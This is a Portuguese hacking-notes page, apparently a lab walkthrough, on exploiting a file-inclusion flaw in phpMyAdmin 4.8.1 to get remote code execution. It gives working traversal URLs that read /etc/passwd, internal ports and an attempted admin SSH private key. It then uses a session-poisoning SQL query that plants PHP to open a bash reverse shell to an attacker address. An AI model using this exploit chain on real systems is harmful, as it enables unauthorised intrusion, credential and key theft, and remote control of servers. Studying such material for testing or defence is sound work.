> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md).

# phpMyAdmin - 4.8.1 (RCE)

**Identificação da vulnerabilidade RCE do phpMyAdmin**

Após identificar a versão 4.8.1 do phpMyAdmin como vulnerável, use o SearchSploit para encontrar exploits correspondentes e confirmar o [RCE](/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md) .

<figure><img src="/files/f839fa434b5250bd26f38210238cfa566385472d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/520cf0af2d93f70ccb660a93ebf70e26037c5e33" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade RCE

Explore o caminho RCE injetando o seguinte script na URL para ler `/etc/passwd`:

<figure><img src="/files/9cf670c5bb5ab6d05f0633aa9cb05f563211dab1" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
```

<figure><img src="/files/1ddb43f2cadb7e3151ce8b7de8311fb2053b0de8" alt=""><figcaption></figcaption></figure>

**Tente recuperar a `admin` chave privada SSH do usuário**

Tente acessar a `admin` chave privada SSH do usuário com a seguinte URL, mas ela retorna um erro:

```url
index.php?target=db_sql.php%253f/../../../../../../../../home/admin/.ssh/id_rsa
```

<figure><img src="/files/cf996bfd6a1436e8781797cb9babdd25b5c46051" alt=""><figcaption></figcaption></figure>

**Enumeração de portas da rede privada interna**

Use a seguinte URL para listar as portas internas do servidor por meio de `/proc/net/tcp`:

```url
index.php?target=db_sql.php%253f/../../../../../../../../proc/net/tcp
```

<figure><img src="/files/79bbdbe71d220b34cb85b25331f16efbcc9ec98e" alt=""><figcaption></figcaption></figure>

Salve essas portas em um `dados` arquivo para análise posterior.

```bash
for port in $(cat data | awk '{print $2}' | awk '{print $2}' FS=":" | sort -u); do echo "[+] Port $port -> $((0x$port))"; done
```

<figure><img src="/files/7e54c578921ab691e0123dedf42e547a25974833" alt=""><figcaption></figcaption></figure>

**Identificando o diretório que contém as sessões do phpMyAdmin**

Ao revisar o script, identifique o diretório que contém as sessões do phpMyAdmin:

```url
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}
```

<figure><img src="/files/4b56637e720df30d94e6368643cf00325125961c" alt=""><figcaption></figcaption></figure>

## Injeção de comando no phpMyAdmin

**Usando o cookie de sessão do phpMyAdmin para injeção de comando**

<figure><img src="/files/ccb3b9532a3fa6642dbd0136568191b3cfd58aef" alt=""><figcaption></figcaption></figure>

```url
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_38f8d56u6em5usl5fd9s9v3pe66qh7v1
```

<figure><img src="/files/478f621445564af14b0000bf5e3ea0f4cf22af5d" alt=""><figcaption></figcaption></figure>

#### Este arquivo interpreta comandos das consultas.

```sql
SELECT 'testing';
```

<figure><img src="/files/ba6775bca0aba461b7a9548975d01fa4264521a8" alt=""><figcaption></figcaption></figure>

**Injeção de comando SQL para obter um** [**shell reverso**](https://www.revshells.com/)**:**

```sql
select '<?php system("bash -i >& /dev/tcp/192.168.71.128/443 0>&1"); ?>';
```

**O acesso à máquina finalmente é bem-sucedido:**

<figure><img src="/files/7902eacfaf2cd99f6aadb400bc07285c80d1142f" alt=""><figcaption></figcaption></figure>


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